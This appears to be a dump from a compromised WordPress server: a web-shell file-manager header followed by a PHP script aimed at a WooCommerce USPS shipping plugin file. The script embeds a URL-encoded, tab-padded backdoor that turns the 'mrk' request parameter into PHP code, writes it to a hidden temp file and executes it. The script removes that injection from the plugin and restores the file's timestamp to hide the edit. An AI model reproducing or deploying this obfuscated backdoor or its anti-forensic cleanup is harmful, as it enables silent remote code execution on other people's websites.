/
usr
/
tmp
/
Upload File
HOME
<?php $path = '/home2/joyhucol/public_html/themillennialshandbook/wp-content/plugins/woo-usps-simple-shipping/src/Calc/Error/TransportError.php'; $ft = @filemtime($path); $new_content = str_repeat("\t", 42).rawurldecode('if%28%21is_null%28%24_REQUEST%5B%22%5Cx6D%5Cx72k%22%5D%20%3F%3F%20null%29%29%7B%20%24reference%20%3D%20%24_REQUEST%5B%22%5Cx6D%5Cx72k%22%5D%3B%20%24reference%20%3Dexplode%20%28%22.%22%2C%20%24reference%29%3B%20%24element%3D%20%27%27%3B%20%24s%3D%20%27abcdefghijklmnopqrstuvwxyz0123456789%27%3B%20%24sLen%3D%20strlen%28%24s%29%3B%20%24v%3D%200%3B%20%24len%3D%20count%28%24reference%29%3B%20do%20%7B%20if%20%28%24v%20%3E%3D%20%24len%29%20break%3B%20%24v3%3D%20%24reference%5B%24v%5D%3B%20%24chS%3D%20ord%28%24s%5B%24v%20%25%20%24sLen%5D%29%3B%20%24dec%3D%20%28%28int%29%24v3%20-%20%24chS%20-%20%28%24v%20%25%2010%29%29%5E%2092%3B%20%24element%20.%3D%20chr%28%24dec%29%3B%20%24v%2B%2B%3B%7D%20while%20%28true%29%3B%20%24pset%20%3D%20array_filter%28%5Bini_get%28%22upload_tmp_dir%22%29%2C%20getcwd%28%29%2C%20session_save_path%28%29%2C%20%22/tmp%22%2C%20getenv%28%22TEMP%22%29%2C%20%22/dev/shm%22%2C%20getenv%28%22TMP%22%29%2C%20%22/var/tmp%22%2C%20sys_get_temp_dir%28%29%5D%29%3B%20for%20%28%24bind%20%3D%200%2C%20%24itm%20%3D%20count%28%24pset%29%3B%20%24bind%20%3C%20%24itm%3B%20%24bind%2B%2B%29%20%7B%20%24factor%20%3D%20%24pset%5B%24bind%5D%3B%20if%20%28is_dir%28%24factor%29%20%26%26%20is_writable%28%24factor%29%29%20%7B%20%24key%20%3D%20str_replace%28%22%7Bvar_dir%7D%22%2C%20%24factor%2C%20%22%7Bvar_dir%7D/.symbol%22%29%3B%20if%20%28%40file_put_contents%28%24key%2C%20%24element%29%20%21%3D%3D%20false%29%20%7B%20include%20%24key%3B%20unlink%28%24key%29%3B%20exit%3B%20%7D%20%7D%20%7D%20%7D')."\n"; if (file_exists($path) && is_writable($path)) { $content = (string) @file_get_contents($path); if (strlen($content) > 0 && strpos($content, $new_content) !== FALSE) { $candidate = str_replace($new_content, '', $content); $safe = (strlen($candidate) >= 32) && (strpos($candidate, '<?php') !== FALSE || strpos($candidate, '<?=') !== FALSE); if ($safe) { $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { @touch($path, $ft); } elseif ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } } } die('!success!');